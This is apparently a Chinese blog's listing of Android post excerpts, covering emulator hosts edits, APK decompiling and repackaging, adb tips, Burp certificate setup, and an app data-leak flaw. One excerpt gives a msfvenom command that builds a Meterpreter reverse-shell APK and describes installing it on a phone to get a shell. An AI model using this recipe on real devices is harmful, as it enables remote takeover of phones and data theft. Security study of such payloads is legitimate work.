android
caiqiiqi
这个作者很懒,什么都没留下…
展开
-
夜神模拟器修改hosts文件
参考:https://www.jianshu.com/p/cef44295a7feadb rootadb remountadb pull /system/etc/hosts然后本地编辑hosts,记住:最后一行要空出来一行。最后,将hosts文件push回去adb push hosts /system/etc/hosts验证hosts文件是否已被修改:cat /system/etc/hosts验证hosts是否已生效。...原创 2020-08-10 14:37:07 · 1790 阅读 · 0 评论 -
继续逆向youdaodict
两年前逆向了youdaodict,注释掉了关键Activity的smali中的三行代码使得三个Tab不能加载,于是只使用其『词典』功能。 修改前(official)[~/GitProjects/android_re/repos/youdaodict]$ md5 youdaodict_official.apk [3:43:01]MD5 (youdaodi原创 2017-07-13 03:42:21 · 845 阅读 · 0 评论 -
Android数据库高手秘籍(一)——SQLite命令
http://blog.csdn.net/guolin_blog/article/details/38461239转载 2017-07-07 16:06:56 · 312 阅读 · 0 评论 -
Android小代码
查看某app的签名版本adb shell pm dump com.example|grep apkSigningVersion命令行查看系统版本号adb shell getprop ro.build.version.release根据界面元素id定位代码uiautomatorviewer获取机器wlan0无限网卡的MAC地址:adb sh原创 2017-10-18 01:12:50 · 709 阅读 · 0 评论 -
使用 apktool 工具对 Android APK 进行反编译与回编译
原文:https://testerhome.com/topics/12075?locale=zh-TW原创 2018-10-31 16:54:54 · 1310 阅读 · 0 评论 -
msfvenom生成apk payload然后得到meterpreter shell
先生成一个payload,带上meterpreter监听的地址和端口:msfvenom -p android/meterpreter/reverse_tcp LHOST=<your public IP> LPORT=80 -o msf.apk由于大号端口在我的wifi环境下无法出去,所以这里我设置为80端口。然后安装这个apk到手机。然后在msf上:use exploit/...原创 2018-11-15 13:20:40 · 4499 阅读 · 1 评论 -
51 信用卡管家 Android 客户端内部数据库文件可被盗取
原文:真的安全吗之51信用卡管家Android客户端审计报告 1.讲这个漏洞先要介绍一下一个安卓系统特性:db-journal 文件是 sqlite 的一个临时的日志文件,主 要用于 sqlite 事务回滚机制,在事务开始时产生,在事务结束时删除;当程序发生崩溃或者系统断 电时该文件将留在磁盘上,以便下次程序运行时进行事务回滚,其内容与同名的.db 文件相同。在 android 系统中,.d...转载 2018-11-14 16:17:05 · 445 阅读 · 0 评论 -
AndroBugs
https://github.com/caiqiqi/AndroBugs原创 2019-03-08 11:12:52 · 396 阅读 · 0 评论 -
AndroBugs不能分析多dex情况的缓解trick
#先用apktool反编译,不反编译源码和资源文件节省时间apktool d test.apk -o test--no-res --no-srccd test# 如果有三个dex文件,classes.dex,classes2.dex,classes3.dex,删除第一个和第三个,将第二个重命名为classes.dexrm -rf classes.dex classes3.dexmv cl...原创 2019-04-04 14:46:43 · 188 阅读 · 0 评论 -
夜神模拟器安装Burp Suite证书
https://blog.csdn.net/qq_36658099/article/details/81487491https://blog.csdn.net/susu_xi/article/details/86247295转载 2019-04-10 17:13:03 · 2461 阅读 · 0 评论 -
安卓安装包(APK,DEX)的diff工具介绍
Android Application Diffing: Engine Overview讲Quarkslab 背后的设计理念。第二篇通过一个漏洞CVE-2019-10875来展现工具的功能。第三篇通过https://blog.quarkslab.com/android-application-diffing-analysis-of-modded-version.html...原创 2019-05-20 15:30:04 · 1598 阅读 · 0 评论 -
查看apk签名信息
参考: http://www.jianshu.com/p/f45cfd9fccaaDemo修改后的apk这是我很久以前忘了用什么工具对youdaodict逆向之后,注释掉两行smali之后重打包的apk。近几个月这个应用一启动不久就崩溃了,我还以为是签名时间到了,结果发现并没有到,应该是其他的什么原因。等待动态调试之。[~/GitProjects/android_re/repos/youdaodi原创 2017-07-13 01:29:44 · 1163 阅读 · 0 评论 -
使用grep查看匹配行的前后n行信息
$ grep -rn "android.intent.action.MAIN" -B 3 -C 2 AndroidManifest.xmlAndroidManifest.xml-43- <activity android:name="com.youdao.dict.activity.DictSplashActivity" android:screenOrientation="port原创 2017-07-13 01:16:17 · 2865 阅读 · 0 评论 -
IDA打开自动显示注释选项
对于不太熟悉汇编指令的同学,初次接触IDA的时候被IDA反编译出来的汇编指令吓到了,殊不知IDA其实是可以打开自动显示注释的选项的。通过Option->General->Auto Comments即可。显示注释前打开显示注释选项显示注释后原创 2017-06-29 13:25:55 · 3826 阅读 · 0 评论 -
Android 开发规范与架构
摘要使用Gradle和它推荐的工程目录使用 Maven依赖而不是导入jar包把密码和敏感数据放在gradle.properties使用Fragment来呈现UI视图使用Activity只是用来管理Fragment的使用多个style文件以避免单一的大style文件使用WebView时避免在客户端做处理HTML工作,当心内存泄露总是用ProGuard和DexGuard来混淆项目不要自转载 2016-03-02 01:51:20 · 591 阅读 · 0 评论 -
Fragment更容易实现页面的切换
Fragments make implementing this functionality easy. The list of emails would exist in one fragment, and the detail view for an email would exist in another fragment. Depending on the device size, our转载 2016-03-02 13:06:04 · 673 阅读 · 0 评论 -
在Activity中创建Handler发送消息以及接受消息过程浅析
在Github上:https://github.com/caiqiqi/Notes/blob/master/%E5%9C%A8Activity%E4%B8%AD%E5%88%9B%E5%BB%BAHandler%E5%8F%91%E9%80%81%E6%B6%88%E6%81%AF%E4%BB%A5%E5%8F%8A%E6%8E%A5%E5%8F%97%E6%B6%88%E6%81%AF%E8%BF转载 2016-03-03 13:04:47 · 921 阅读 · 0 评论 -
Android开发者编码风格
原文链接 http://source.android.com/source/code-style.html译文(部分)开发者编码风格以上的编码风格都是很严格的规则,而不只是指导建议。一般来说,不按这些规矩来编码的话,Android是不接受这样的代码的。我们已经发现了现在的这些代码并不是完全按这些规则来的,但是我们还是希望以后的代码可以遵守这些规则。跟Java语言相关的规则Android遵循标准的Ja翻译 2016-03-03 01:11:15 · 622 阅读 · 0 评论 -
Android-使用WebView视图显示网页
Android提供了WebView组件(相关类为android.webkit.WebView、android.webkit.WebViewClient)。表面上来看,这个组件与普通的ImageView差不多,但实际上,这个组件的功能要强大得多,WebView本身就是一个浏览器实现!它的内核基于WebKit引擎(怪不得包名是webkit)。如果我们队WebView进行一些美化,包装,可以非常轻松地开发转载 2016-02-28 20:31:18 · 970 阅读 · 0 评论 -
Android--Handler,Looper,MessageQueue的关系
MessageQueue对外提供插入和删除的工作,但是只是消息的存储单元,并不能处理消息。Looper—-android.os.looperLooper填补了MessageQueue不能处理消息的缺陷,主要用Looper.loop()方法来死循环查找是否有新消息,如果有,就交给Handler去处理;若没有,则一直等待着。唯一跳出循环的方式是在当MessageQueue.next()方法返回null的转载 2016-02-28 23:41:31 · 700 阅读 · 1 评论 -
Up navigation with fragments using AppCompat
public class MyActivity extends ActionBarActivity { @Override public boolean onSupportNavigateUp() { if(getSupportFragmentManager().getBackStackEntryCount() > 0 ) { getSupp转载 2016-02-29 18:35:48 · 457 阅读 · 0 评论 -
weibo客户端访问网页链接解析缓存问题?
昨天碰到一个怪事,我转发了一条微博之后,当我在不同终端上访问同一个链接的时候, 居然打开的不是同一个链接。电脑网页版和一加2打开的链接是可以打开的(http://blog.sycsec.com/?p=1005)GET /?p=1005 HTTP/1.1Host: blog.sycsec.comProxy-Connection: keep-aliveAccept: text/html,原创 2017-04-23 14:35:55 · 1213 阅读 · 0 评论 -
Android配置文件中<uses-sdk>标签
SYNTAX: <uses-sdk android:minSdkVersion="integer" android:targetSdkVersion="integer" android:maxSdkVersion="integer" />ATTRIBUTES: android:minSdkVersion An integer de转载 2016-03-01 20:46:28 · 781 阅读 · 0 评论